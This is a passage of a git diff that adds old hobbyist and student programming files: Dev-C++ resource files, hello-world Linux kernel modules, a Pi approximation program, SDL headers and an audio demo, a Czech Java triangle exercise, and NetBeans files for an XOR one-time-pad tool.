+FileVersion=\r
+FileDescription=Random bytes generator\r
+InternalName=\r
+LegalCopyright=\r
+LegalTrademarks=\r
+OriginalFilename=\r
+ProductName=\r
+ProductVersion=\r
+AutoIncBuildNr=1\r
+\r
diff --git a/c/crypt/randomizer.ico b/c/crypt/randomizer.ico
new file mode 100644 (file)
index 0000000..27234e1
Binary files /dev/null and b/c/crypt/randomizer.ico differ
diff --git a/c/crypt/randomizer_private.h b/c/crypt/randomizer_private.h
new file mode 100644 (file)
index 0000000..42340ed
--- /dev/null
@@ -0,0 +1,23 @@
+/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */\r
+/* DO NOT EDIT ! */\r
+\r
+#ifndef RANDOMIZER_PRIVATE_H\r
+#define RANDOMIZER_PRIVATE_H\r
+\r
+/* VERSION DEFINITIONS */\r
+#define VER_STRING     "1.1.1.2"\r
+#define VER_MAJOR      1\r
+#define VER_MINOR      1\r
+#define VER_RELEASE    1\r
+#define VER_BUILD      2\r
+#define COMPANY_NAME   "Harvie 2oo7"\r
+#define FILE_VERSION   ""\r
+#define FILE_DESCRIPTION       "Random bytes generator"\r
+#define INTERNAL_NAME  ""\r
+#define LEGAL_COPYRIGHT        ""\r
+#define LEGAL_TRADEMARKS       ""\r
+#define ORIGINAL_FILENAME      ""\r
+#define PRODUCT_NAME   ""\r
+#define PRODUCT_VERSION        ""\r
+\r
+#endif /*RANDOMIZER_PRIVATE_H*/\r
diff --git a/c/crypt/randomizer_private.rc b/c/crypt/randomizer_private.rc
new file mode 100644 (file)
index 0000000..7c38d8c
--- /dev/null
@@ -0,0 +1,37 @@
+/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */\r
+/* DO NOT EDIT! */\r
+\r
+#include <windows.h> // include for version info constants\r
+\r
+\r
+A ICON MOVEABLE PURE LOADONCALL DISCARDABLE "randomizer.ico"\r
+\r
+//\r
+// TO CHANGE VERSION INFORMATION, EDIT PROJECT OPTIONS...\r
+//\r
+1 VERSIONINFO\r
+FILEVERSION 1,1,1,2\r
+PRODUCTVERSION 1,1,1,2\r
+FILETYPE VFT_APP\r
+{\r
+  BLOCK "StringFileInfo"\r
+        {\r
+                BLOCK "080904E4"\r
+                {\r
+                        VALUE "CompanyName", "Harvie 2oo7"\r
+                        VALUE "FileVersion", ""\r
+                        VALUE "FileDescription", "Random bytes generator"\r
+                        VALUE "InternalName", ""\r
+                        VALUE "LegalCopyright", ""\r
+                        VALUE "LegalTrademarks", ""\r
+                        VALUE "OriginalFilename", ""\r
+                        VALUE "ProductName", ""\r
+                        VALUE "ProductVersion", ""\r
+                }\r
+        }\r
+  BLOCK "VarFileInfo"\r
+        {\r
+                VALUE "Translation", 0x0809, 1252\r
+        }\r
+}\r
+\r
diff --git a/c/crypt/randomizer_private.res b/c/crypt/randomizer_private.res
new file mode 100644 (file)
index 0000000..bcde881
Binary files /dev/null and b/c/crypt/randomizer_private.res differ
diff --git a/c/lkm-old/Makefile b/c/lkm-old/Makefile
new file mode 100644 (file)
index 0000000..e44a7db
--- /dev/null
@@ -0,0 +1,9 @@
+obj-m += hello2.o
+
+all:
+       make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+clean:
+       make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
+
+
diff --git a/c/lkm-old/Module.symvers b/c/lkm-old/Module.symvers
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/c/lkm-old/hello.c b/c/lkm-old/hello.c
new file mode 100644 (file)
index 0000000..ddb235b
--- /dev/null
@@ -0,0 +1,15 @@
+#define MODULE
+#include <linux/module.h>
+
+int init_module (void) /* Loads a module in the kernel */
+{
+printk("Hello kernel\n");
+return 0;
+}
+
+void cleanup_module(void) /* Removes module from kernel */
+{
+printk("GoodBye Kernel\n");
+}
+
+
diff --git a/c/lkm-old/hello2.c b/c/lkm-old/hello2.c
new file mode 100644 (file)
index 0000000..f4f279b
--- /dev/null
@@ -0,0 +1,25 @@
+/*  
+ *  hello-1.c - The simplest kernel module.
+ */
+#define MODULE
+#include <linux/module.h>      /* Needed by all modules */
+#include <linux/kernel.h>      /* Needed for KERN_INFO */
+
+
+int init_module(void)
+{
+       printk("<0>Hello world 1.\n");
+       /* 
+        * A non 0 return means init_module failed; module can't be loaded. 
+        */
+       return 0;
+}
+
+void cleanup_module(void)
+{
+       printk("<0>Goodbye world 1.\n");
+}
+
+
+
+
diff --git a/c/lkm-old/hello2.ko b/c/lkm-old/hello2.ko
new file mode 100644 (file)
index 0000000..cf742cc
Binary files /dev/null and b/c/lkm-old/hello2.ko differ
diff --git a/c/lkm-old/hello2.mod.c b/c/lkm-old/hello2.mod.c
new file mode 100644 (file)
index 0000000..8aa9b7a
--- /dev/null
@@ -0,0 +1,27 @@
+#include <linux/module.h>
+#include <linux/vermagic.h>
+#include <linux/compiler.h>
+
+MODULE_INFO(vermagic, VERMAGIC_STRING);
+
+struct module __this_module
+__attribute__((section(".gnu.linkonce.this_module"))) = {
+ .name = KBUILD_MODNAME,
+ .init = init_module,
+#ifdef CONFIG_MODULE_UNLOAD
+ .exit = cleanup_module,
+#endif
+};
+
+static const struct modversion_info ____versions[]
+__attribute_used__
+__attribute__((section("__versions"))) = {
+       { 0x49cc9b68, "struct_module" },
+       { 0x1b7d4074, "printk" },
+};
+
+static const char __module_depends[]
+__attribute_used__
+__attribute__((section(".modinfo"))) =
+"depends=";
+
diff --git a/c/pic/Makefile.win b/c/pic/Makefile.win
new file mode 100644 (file)
index 0000000..64e3c6e
--- /dev/null
@@ -0,0 +1,33 @@
+# Project: pic\r
+# Compiler: Default GCC compiler\r
+# Compiler Type: MingW 3\r
+# Makefile created by wxDev-C++ 6.10 on 12.11.06 21:29\r
+\r
+CPP       = g++.exe\r
+CC        = gcc.exe\r
+WINDRES   = windres.exe\r
+OBJ       = MingW/main.o\r
+LINKOBJ   = MingW/main.o\r
+LIBS      = -L"D:/Program Files/Dev-Cpp/Lib"  \r
+INCS      = -I"D:/Program Files/Dev-Cpp/Include"\r
+CXXINCS   = -I"D:/Program Files/Dev-Cpp/lib/gcc/mingw32/3.4.2/include" -I"D:/Program Files/Dev-Cpp/include/c++/3.4.2/backward" -I"D:/Program Files/Dev-Cpp/include/c++/3.4.2/mingw32" -I"D:/Program Files/Dev-Cpp/include/c++/3.4.2" -I"D:/Program Files/Dev-Cpp/include" -I"D:/Program Files/Dev-Cpp/" -I"D:/Program Files/Dev-Cpp/include/common/wx/msw" -I"D:/Program Files/Dev-Cpp/include/common/wx/generic" -I"D:/Program Files/Dev-Cpp/include/common/wx/fl" -I"D:/Program Files/Dev-Cpp/include/common/wx/gizmos" -I"D:/Program Files/Dev-Cpp/include/common/wx/html" -I"D:/Program Files/Dev-Cpp/include/common/wx/mmedia" -I"D:/Program Files/Dev-Cpp/include/common/wx/net" -I"D:/Program Files/Dev-Cpp/include/common/wx/ogl" -I"D:/Program Files/Dev-Cpp/include/common/wx/plot" -I"D:/Program Files/Dev-Cpp/include/common/wx/protocol" -I"D:/Program Files/Dev-Cpp/include/common/wx/stc" -I"D:/Program Files/Dev-Cpp/include/common/wx/svg" -I"D:/Program Files/Dev-Cpp/include/common/wx/xml" -I"D:/Program Files/Dev-Cpp/include/common/wx/xrc" -I"D:/Program Files/Dev-Cpp/include/common/wx" -I"D:/Program Files/Dev-Cpp/include/common"\r
+RCINCS    = --include-dir "D:/PROGRA~1/Dev-Cpp/include/common"\r
+BIN       = MingW/pic.exe\r
+DEFINES   = \r
+CXXFLAGS  = $(CXXINCS) $(DEFINES)  \r
+CFLAGS    = $(INCS) $(DEFINES)  \r
+GPROF     = gprof.exe\r
+RM        = rm -f\r
+LINK      = g++.exe\r
+\r
+.PHONY: all all-before all-after clean clean-custom\r
+all: all-before $(BIN) all-after\r
+\r
+clean: clean-custom\r
+       $(RM) $(OBJ) $(BIN)\r
+\r
+$(BIN): $(OBJ)\r
+       $(LINK) $(LINKOBJ) -o "MingW\pic.exe" $(LIBS)\r
+\r
+MingW/main.o: $(GLOBALDEPS) main.cpp\r
+       $(CPP) -c main.cpp -o MingW/main.o $(CXXFLAGS)\r
diff --git a/c/pic/main.cpp b/c/pic/main.cpp
new file mode 100644 (file)
index 0000000..21857c4
--- /dev/null
@@ -0,0 +1,22 @@
+#include <stdio.h>\r
+#include <math.h>\r
+#include <time.h>\r
+#define PI 3.141592653589793\r
+\r
+int main(void) {\r
+  double currPi=0, i=1;\r
+  clock_t begin, end;\r
+\r
+  begin = clock();\r
+  do {\r
+    currPi+=(4/i - 4/(i+2));\r
+    i+=4;\r
+  } while(fabs(PI-currPi) > 1e-7);\r
+  end = clock();\r
+\r
+  printf("Vypocteno Pi = %lf v case: %f ms.\n", currPi,\r
+         (float)(end-begin)/CLOCKS_PER_SEC * 1000);\r
+         \r
+    //system("PAUSE");\r
+    //return EXIT_SUCCESS;\r
+}\r
diff --git a/c/pic/pic.dev b/c/pic/pic.dev
new file mode 100644 (file)
index 0000000..689f190
--- /dev/null
@@ -0,0 +1,50 @@
+[Project]\r
+FileName=pic.dev\r
+Name=pic\r
+UnitCount=1\r
+PchHead=-1\r
+PchSource=-1\r
+Ver=3\r
+IsCpp=1\r
+ProfilesCount=1\r
+ProfileIndex=0\r
+Folders=\r
+\r
+[Unit1]\r
+FileName=main.cpp\r
+CompileCpp=1\r
+Folder=\r
+Compile=1\r
+Link=1\r
+Priority=1000\r
+OverrideBuildCmd=0\r
+BuildCmd=\r
+\r
+[Profile1]\r
+ProfileName=MingW\r
+Type=1\r
+ObjFiles=\r
+Includes=\r
+Libs=\r
+PrivateResource=\r
+ResourceIncludes=\r
+MakeIncludes=\r
+Compiler=\r
+CppCompiler=\r
+Linker=\r
+PreprocDefines=\r
+CompilerSettings=\r
+Icon=\r
+ExeOutput=MingW\r
+ObjectOutput=MingW\r
+OverrideOutput=0\r
+OverrideOutputName=\r
+HostApplication=\r
+CommandLine=\r
+UseCustomMakefile=0\r
+CustomMakefile=\r
+IncludeVersionInfo=0\r
+SupportXPThemes=0\r
+CompilerSet=0\r
+compilerType=0\r
+\r
diff --git a/c/pic/pic.layout b/c/pic/pic.layout
new file mode 100644 (file)
index 0000000..6d2cdce
--- /dev/null
@@ -0,0 +1,5 @@
+[Editor_0]\r
+CursorCol=7\r
+CursorRow=21\r
+TopLine=1\r
+LeftChar=1\r
diff --git a/c/sdl-old/SDL.h b/c/sdl-old/SDL.h
new file mode 100644 (file)
index 0000000..60ac26c
--- /dev/null
@@ -0,0 +1,94 @@
+/*
+    SDL - Simple DirectMedia Layer
+    Copyright (C) 1997-2006 Sam Lantinga
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+
+    Sam Lantinga
+    slouken@libsdl.org
+*/
+
+/* Main include header for the SDL library */
+
+#ifndef _SDL_H
+#define _SDL_H
+
+#include "SDL_main.h"
+#include "SDL_stdinc.h"
+#include "SDL_audio.h"
+#include "SDL_cdrom.h"
+#include "SDL_cpuinfo.h"
+#include "SDL_endian.h"
+#include "SDL_error.h"
+#include "SDL_events.h"
+#include "SDL_loadso.h"
+#include "SDL_mutex.h"
+#include "SDL_rwops.h"
+#include "SDL_thread.h"
+#include "SDL_timer.h"
+#include "SDL_video.h"
+#include "SDL_version.h"
+
+#include "begin_code.h"
+/* Set up for C function definitions, even when using C++ */
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* As of version 0.5, SDL is loaded dynamically into the application */
+
+/* These are the flags which may be passed to SDL_Init() -- you should
+   specify the subsystems which you will be using in your application.
+*/
+#define        SDL_INIT_TIMER          0x00000001
+#define SDL_INIT_AUDIO         0x00000010
+#define SDL_INIT_VIDEO         0x00000020
+#define SDL_INIT_CDROM         0x00000100
+#define SDL_INIT_JOYSTICK      0x00000200
+#define SDL_INIT_NOPARACHUTE   0x00100000      /* Don't catch fatal signals */
+#define SDL_INIT_EVENTTHREAD   0x01000000      /* Not supported on all OS's */
+#define SDL_INIT_EVERYTHING    0x0000FFFF
+
+/* This function loads the SDL dynamically linked library and initializes 
+ * the subsystems specified by 'flags' (and those satisfying dependencies)
+ * Unless the SDL_INIT_NOPARACHUTE flag is set, it will install cleanup
+ * signal handlers for some commonly ignored fatal signals (like SIGSEGV)
+ */
+extern DECLSPEC int SDLCALL SDL_Init(Uint32 flags);
+
+/* This function initializes specific SDL subsystems */
+extern DECLSPEC int SDLCALL SDL_InitSubSystem(Uint32 flags);
+
+/* This function cleans up specific SDL subsystems */
+extern DECLSPEC void SDLCALL SDL_QuitSubSystem(Uint32 flags);
+
+/* This function returns mask of the specified subsystems which have
+   been initialized.
+   If 'flags' is 0, it returns a mask of all initialized subsystems.
+*/
+extern DECLSPEC Uint32 SDLCALL SDL_WasInit(Uint32 flags);
+
+/* This function cleans up all initialized subsystems and unloads the
+ * dynamically linked library.  You should call it upon all exit conditions.
+ */
+extern DECLSPEC void SDLCALL SDL_Quit(void);
+
+/* Ends C function definitions when using C++ */
+#ifdef __cplusplus
+}
+#endif
+#include "close_code.h"
+
+#endif /* _SDL_H */
diff --git a/c/sdl-old/SDL_main.h b/c/sdl-old/SDL_main.h
new file mode 100644 (file)
index 0000000..cf8b728
--- /dev/null
@@ -0,0 +1,98 @@
+/*
+    SDL - Simple DirectMedia Layer
+    Copyright (C) 1997-2006 Sam Lantinga
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+
+    Sam Lantinga
+    slouken@libsdl.org
+*/
+
+#ifndef _SDL_main_h
+#define _SDL_main_h
+
+#include "SDL_stdinc.h"
+
+/* Redefine main() on Win32 and MacOS so that it is called by winmain.c */
+
+#if defined(__WIN32__) || \
+    (defined(__MWERKS__) && !defined(__BEOS__)) || \
+    defined(__MACOS__) || defined(__MACOSX__) || \
+    defined(__SYMBIAN32__) || defined(QWS)
+
+#ifdef __cplusplus
+#define C_LINKAGE      "C"
+#else
+#define C_LINKAGE
+#endif /* __cplusplus */
+
+/* The application's main() function must be called with C linkage,
+   and should be declared like this:
+#ifdef __cplusplus
+extern "C"
+#endif
+       int main(int argc, char *argv[])
+       {
+       }
+ */
+#define main   SDL_main
+
+/* The prototype for the application's main() function */
+extern C_LINKAGE int SDL_main(int argc, char *argv[]);
+
+
+/* From the SDL library code -- needed for registering the app on Win32 */
+#ifdef __WIN32__
+
+#include "begin_code.h"
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* This should be called from your WinMain() function, if any */
+extern DECLSPEC void SDLCALL SDL_SetModuleHandle(void *hInst);
+/* This can also be called, but is no longer necessary */
+extern DECLSPEC int SDLCALL SDL_RegisterApp(char *name, Uint32 style, void *hInst);
+/* This can also be called, but is no longer necessary (SDL_Quit calls it) */
+extern DECLSPEC void SDLCALL SDL_UnregisterApp(void);
+#ifdef __cplusplus
+}
+#endif
+#include "close_code.h"
+#endif
+
+/* From the SDL library code -- needed for registering QuickDraw on MacOS */
+#if defined(__MACOS__)
+
+#include "begin_code.h"
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* Forward declaration so we don't need to include QuickDraw.h */
+struct QDGlobals;
+
+/* This should be called from your main() function, if any */
+extern DECLSPEC void SDLCALL SDL_InitQuickDraw(struct QDGlobals *the_qd);
+
+#ifdef __cplusplus
+}
+#endif
+#include "close_code.h"
+#endif
+
+#endif /* Need to redefine main()? */
+
+#endif /* _SDL_main_h */
diff --git a/c/sdl-old/libSDL.dll.a b/c/sdl-old/libSDL.dll.a
new file mode 100644 (file)
index 0000000..b986d97
Binary files /dev/null and b/c/sdl-old/libSDL.dll.a differ
diff --git a/c/sdl-old/libSDL.la b/c/sdl-old/libSDL.la
new file mode 100644 (file)
index 0000000..1b16c61
--- /dev/null
@@ -0,0 +1,35 @@
+# libSDL.la - a libtool library file
+# Generated by ltmain.sh - GNU libtool 1.5.22 (1.1220.2.365 2005/12/18 22:14:06)
+#
+# Please DO NOT delete this file!
+# It is necessary for linking the library.
+
+# The name that we can dlopen(3).
+dlname='../bin/SDL.dll'
+
+# Names of this library.
+library_names='libSDL.dll.a'
+
+# The name of the static archive.
+old_library='libSDL.a'
+
+# Libraries that this one depends upon.
+dependency_libs=' -luser32 -lgdi32 -lwinmm -ldxguid'
+
+# Version information for libSDL.
+current=11
+age=11
+revision=0
+
+# Is this an already installed library?
+installed=yes
+
+# Should we warn about portability when linking against -modules?
+shouldnotlink=no
+
+# Files to dlopen/dlpreopen
+dlopen=''
+dlpreopen=''
+
+# Directory that this library needs to be installed in:
+libdir='/usr/local/cross-tools/i386-mingw32msvc/lib'
diff --git a/c/sdl-old/libSDLmain.a b/c/sdl-old/libSDLmain.a
new file mode 100644 (file)
index 0000000..7969e9d
Binary files /dev/null and b/c/sdl-old/libSDLmain.a differ
diff --git a/c/sdl-old/main.c b/c/sdl-old/main.c
new file mode 100644 (file)
index 0000000..d04335d
--- /dev/null
@@ -0,0 +1,77 @@
+#include <stdlib.h>\r
+#include <SDL.h>\r
+#include <SDL_mixer.h>\r
+\r
+const max_sounds=50;\r
+Mix_Chunk *sounds[max_sounds];\r
+Mix_Music *music;\r
+\r
+//kanaly\r
+enum {\r
+SNDT_0,\r
+SNDT_1,\r
+SNDT_2,\r
+SNDT_3,\r
+SNDT_4,\r
+SNDT_5,\r
+SNDT_6,\r
+SNDT_7\r
+};\r
+\r
+//zvuky\r
+enum {\r
+SND_ZVUK,\r
+SND_NUM\r
+};\r
+\r
+int main(int argc,char *argv[])\r
+{\r
+if ( SDL_Init(SDL_INIT_AUDIO) < 0 ) {\r
+    fprintf(stderr, "Problem: %s\n", SDL_GetError());\r
+    exit(1); \r
+}\r
+atexit(SDL_Quit);\r
+\r
+//frekvence 22050 Hz\r
+//MIX_DEFAULT_FORMAT - Signed 16-bit zvuky, v systemovem bytovem poradi (little,big endian)\r
+//mono-stereo: pro mono vlozte 1, pro stereo 2\r
+\r
+if (Mix_OpenAudio(22050/*frekvence [Hz]*/, MIX_DEFAULT_FORMAT, 2/*mono-stereo*/,1024/*velikost bloku*/)==-1)\r
+{\r
+    fprintf(stderr,"Mix_OpenAudio: %s\n", Mix_GetError());\r
+    exit(1);\r
+}\r
+\r
+ sounds[SND_ZVUK] = Mix_LoadWAV("zvuk.wav");\r
+if (sounds[SND_ZVUK]==NULL) \r
+{\r
+    fprintf(stderr,"zvuk [zvuk.wav] nebyl nahran\n");exit(2);}\r
+\r
+ //kanal: -1 pro prvni volny kanal\r
+//pocet opakovani x: zvuk se bude opakovat x+1 krat,x=-1 pro stale opakovani.\r
+Mix_PlayChannel(-1/*kanal*/,sounds[SND_ZVUK]/*Mix_Chunk*/,0/*pocet opakovani*/);\r
+\r
+ music=Mix_LoadMUS("music.mp3");\r
+if (!music) {\r
+    printf("Mix_LoadMUS(\"music.mp3\"): %s\n", Mix_GetError());\r
+    exit(2);\r
+}\r
+\r
+//pocet opakovani x: hudba se bude opakovat x krat,x=-1 pro stale opakovani.\r
+//postupne zvysuje hlasitost hudby od 0 do 100% za 2000 ms po spusteni\r
+\r
+Mix_FadeInMusic(music, -1/*pocet opakovani*/,2000 /*cas[ms]*/);\r
+\r
+//lze i jen provest pouhe spusteni hudby\r
+//Mix_PlayMusic(music, -1/*pocet opakovani*/);\r
+\r
+SDL_Delay(5000);\r
+\r
+ //ztlumi hudbu az do ticha a vypne\r
+Mix_FadeOutMusic(2000);\r
+\r
+SDL_Delay(1000);\r
+\r
+Mix_CloseAudio();\r
+return 0;\r
+}
\ No newline at end of file
diff --git a/java/Metody.java b/java/Metody.java
new file mode 100755 (executable)
index 0000000..ccf8e6b
--- /dev/null
@@ -0,0 +1,73 @@
+package seminar7;\r
+\r
+import java.util.*;\r
+\r
+public class Metody {\r
+    \r
+    public static void main(String[] args) {\r
+        \r
+        Scanner sca = new Scanner(System.in);\r
+        int a = sca.nextInt();\r
+        int b = sca.nextInt();\r
+        int c = sca.nextInt();\r
+        \r
+        over(a,b,c);\r
+        pravouhly(a,b,c);\r
+        obvod(a,b,c);\r
+        //obsah(a,b,c);\r
+    }\r
+    \r
+    static void over(int a, int b, int c)\r
+    {\r
+        int j = 1;\r
+        if((a+b) < c)\r
+            j = 0;\r
+        if((b+c) < a)\r
+            j = 0;\r
+        if((c+a) < b)\r
+            j = 0;\r
+        if(j == 0);\r
+            System.out.println("Neni trojuhelnik!");\r
+    }\r
+    \r
+    static void obvod(int a, int b, int c)\r
+    {\r
+        int o = (a + b + c);\r
+            System.out.println("Obvod O = " + o);\r
+    }\r
+    \r
+    static void obsah(int a, int b, int c)\r
+    {\r
+        int o = (a + b + c); // Zatim obvod\r
+            System.out.println("Obsah S = " + o);\r
+    }\r
+    \r
+    static void pravouhly(int a, int b, int c)\r
+    {\r
+        int sa = 0, sb = 0, sc = 0;\r
+        if(((a * a) + (b * b)) == (c * c))\r
+            {\r
+            sa = a;\r
+            sb = b;\r
+            sc = c;\r
+            }\r
+        \r
+        if(((c * c) + (b * b)) == (a * a))\r
+            {\r
+            sa = c;\r
+            sb = b;\r
+            sc = a;\r
+            }\r
+        \r
+        if(((a * a) + (c * c)) == (b * b))\r
+            {\r
+            sa = a;\r
+            sb = c;\r
+            sc = b;\r
+            }\r
+        \r
+        if((sa * sa + sb * sb) != (sc * sc))\r
+            System.out.println("Neni pravouhly!");\r
+    }\r
+    \r
+}\r
diff --git a/java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar b/java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar
new file mode 100644 (file)
index 0000000..a3fc956
Binary files /dev/null and b/java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar differ
diff --git a/java/jCrossCrypt/src/crosscrypt/README.TXT b/java/jCrossCrypt/src/crosscrypt/README.TXT
new file mode 100644 (file)
index 0000000..4f97f4a
--- /dev/null
@@ -0,0 +1,12 @@
+------------------------------------------------------------------------\r
+This is the project README file. Here, you should describe your project.\r
+Tell the reader (someone who does not know anything about this project)\r
+all he/she needs to know. The comments should usually include at least:\r
+------------------------------------------------------------------------\r
+\r
+PROJECT TITLE:\r
+PURPOSE OF PROJECT:\r
+VERSION or DATE:\r
+HOW TO START THIS PROJECT:\r
+AUTHORS:\r
+USER INSTRUCTIONS:\r
diff --git a/java/jCrossCrypt/src/crosscrypt/bluej.pkg b/java/jCrossCrypt/src/crosscrypt/bluej.pkg
new file mode 100644 (file)
index 0000000..bda79d5
--- /dev/null
@@ -0,0 +1,9 @@
+#BlueJ package file
+package.editor.height=400
+package.editor.width=560
+package.editor.x=460
+package.editor.y=232
+package.numDependencies=0
+package.numTargets=0
+package.showExtends=true
+package.showUses=true
diff --git a/java/jCrossCrypt/src/crosscrypt/bluej.pkh b/java/jCrossCrypt/src/crosscrypt/bluej.pkh
new file mode 100644 (file)
index 0000000..bda79d5
--- /dev/null
@@ -0,0 +1,9 @@
+#BlueJ package file
+package.editor.height=400
+package.editor.width=560
+package.editor.x=460
+package.editor.y=232
+package.numDependencies=0
+package.numTargets=0
+package.showExtends=true
+package.showUses=true
diff --git a/java/jCrossCrypt/src/crosscrypt/build.xml b/java/jCrossCrypt/src/crosscrypt/build.xml
new file mode 100644 (file)
index 0000000..3e5536f
--- /dev/null
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- You may freely edit this file. See commented blocks below for -->
+<!-- some examples of how to customize the build. -->
+<!-- (If you delete it and reopen the project it will be recreated.) -->
+<project name="crosscrypt" default="default" basedir=".">
+    <description>Builds, tests, and runs the project crosscrypt.</description>
+    <import file="nbproject/build-impl.xml"/>
+    <!--
+
+    There exist several targets which are by default empty and which can be 
+    used for execution of your tasks. These targets are usually executed 
+    before and after some main targets. They are: 
+
+      -pre-init:                 called before initialization of project properties
+      -post-init:                called after initialization of project properties
+      -pre-compile:              called before javac compilation
+      -post-compile:             called after javac compilation
+      -pre-compile-single:       called before javac compilation of single file
+      -post-compile-single:      called after javac compilation of single file
+      -pre-compile-test:         called before javac compilation of JUnit tests
+      -post-compile-test:        called after javac compilation of JUnit tests
+      -pre-compile-test-single:  called before javac compilation of single JUnit test
+      -post-compile-test-single: called after javac compilation of single JUunit test
+      -pre-jar:                  called before JAR building
+      -post-jar:                 called after JAR building
+      -post-clean:               called after cleaning build products
+
+    (Targets beginning with '-' are not intended to be called on their own.)
+
+    Example of inserting an obfuscator after compilation could look like this:
+
+        <target name="-post-compile">
+            <obfuscate>
+                <fileset dir="${build.classes.dir}"/>
+            </obfuscate>
+        </target>
+
+    For list of available properties check the imported 
+    nbproject/build-impl.xml file. 
+
+
+    Another way to customize the build is by overriding existing main targets.
+    The targets of interest are: 
+
+      -init-macrodef-javac:     defines macro for javac compilation
+      -init-macrodef-junit:     defines macro for junit execution
+      -init-macrodef-debug:     defines macro for class debugging
+      -init-macrodef-java:      defines macro for class execution
+      -do-jar-with-manifest:    JAR building (if you are using a manifest)
+      -do-jar-without-manifest: JAR building (if you are not using a manifest)
+      run:                      execution of project 
+      -javadoc-build:           Javadoc generation
+      test-report:              JUnit report generation
+
+    An example of overriding the target for project execution could look like this:
+
+        <target name="run" depends="crosscrypt-impl.jar">
+            <exec dir="bin" executable="launcher.exe">
+                <arg file="${dist.jar}"/>
+            </exec>
+        </target>
+
+    Notice that the overridden target depends on the jar target and not only on 
+    the compile target as the regular run target does. Again, for a list of available 
+    properties which you can use, check the target you are overriding in the
+    nbproject/build-impl.xml file. 
+
+    -->
+
+   <target name="-post-jar">
+      <jar update="true" destfile="${dist.jar}">
+         <zipfileset src="${libs.swing-layout.classpath}"/>
+      </jar>
+   </target>
+
+</project>
diff --git a/java/jCrossCrypt/src/crosscrypt/hlavokno.form b/java/jCrossCrypt/src/crosscrypt/hlavokno.form
new file mode 100644 (file)
index 0000000..6f942d7
--- /dev/null
@@ -0,0 +1,163 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+
+<Form version="1.3" type="org.netbeans.modules.form.forminfo.JFrameFormInfo">
+  <NonVisualComponents>
+    <Container class="javax.swing.JDialog" name="jDialog1">
+
+      <Layout>
+        <DimensionLayout dim="0">
+          <Group type="103" groupAlignment="0" attributes="0">
+              <Component id="jFileChooser1" min="-2" max="-2" attributes="0"/>
+          </Group>
+        </DimensionLayout>
+        <DimensionLayout dim="1">
+          <Group type="103" groupAlignment="0" attributes="0">
+              <Component id="jFileChooser1" min="-2" max="-2" attributes="0"/>
+          </Group>
+        </DimensionLayout>
+      </Layout>
+      <SubComponents>
+        <Component class="javax.swing.JFileChooser" name="jFileChooser1">
+          <Properties>
+            <Property name="currentDirectory" type="java.io.File" value="null"/>
+          </Properties>
+        </Component>
+      </SubComponents>
+    </Container>
+  </NonVisualComponents>
+  <Properties>
+    <Property name="defaultCloseOperation" type="int" value="3"/>
+    <Property name="title" type="java.lang.String" value="One-time pad (XOR) symetric encryption [&lt;-Harvie 2oo7]"/>
+  </Properties>
+  <SyntheticProperties>
+    <SyntheticProperty name="formSizePolicy" type="int" value="1"/>
+  </SyntheticProperties>
+  <AuxValues>
+    <AuxValue name="FormSettings_generateMnemonicsCode" type="java.lang.Boolean" value="false"/>
+    <AuxValue name="FormSettings_layoutCodeTarget" type="java.lang.Integer" value="2"/>
+    <AuxValue name="FormSettings_listenerGenerationStyle" type="java.lang.Integer" value="0"/>
+    <AuxValue name="FormSettings_variablesLocal" type="java.lang.Boolean" value="false"/>
+    <AuxValue name="FormSettings_variablesModifier" type="java.lang.Integer" value="2"/>
+  </AuxValues>
+
+  <Layout>
+    <DimensionLayout dim="0">
+      <Group type="103" groupAlignment="0" attributes="0">
+          <Group type="102" alignment="1" attributes="0">
+              <EmptySpace max="-2" attributes="0"/>
+              <Group type="103" groupAlignment="1" attributes="0">
+                  <Component id="jButton4" alignment="0" pref="467" max="32767" attributes="0"/>
+                  <Group type="102" alignment="0" attributes="0">
+                      <Group type="103" groupAlignment="1" attributes="0">
+                          <Component id="jButton3" pref="78" max="32767" attributes="0"/>
+                          <Component id="jButton2" alignment="0" max="32767" attributes="1"/>
+                          <Component id="jButton1" alignment="0" pref="78" max="32767" attributes="1"/>
+                      </Group>
+                      <EmptySpace max="-2" attributes="0"/>
+                      <Group type="103" groupAlignment="1" attributes="0">
+                          <Component id="jTextField3" pref="383" max="32767" attributes="0"/>
+                          <Component id="jTextField1" alignment="0" pref="383" max="32767" attributes="1"/>
+                          <Group type="102" alignment="1" attributes="0">
+                              <Component id="jTextField2" pref="323" max="32767" attributes="1"/>
+                              <EmptySpace max="-2" attributes="0"/>
+                              <Component id="jButton5" min="-2" max="-2" attributes="0"/>
+                          </Group>
+                      </Group>
+                  </Group>
+                  <Component id="jTextField4" alignment="0" pref="467" max="32767" attributes="0"/>
+              </Group>
+              <EmptySpace max="-2" attributes="0"/>
+          </Group>
+      </Group>
+    </DimensionLayout>
+    <DimensionLayout dim="1">
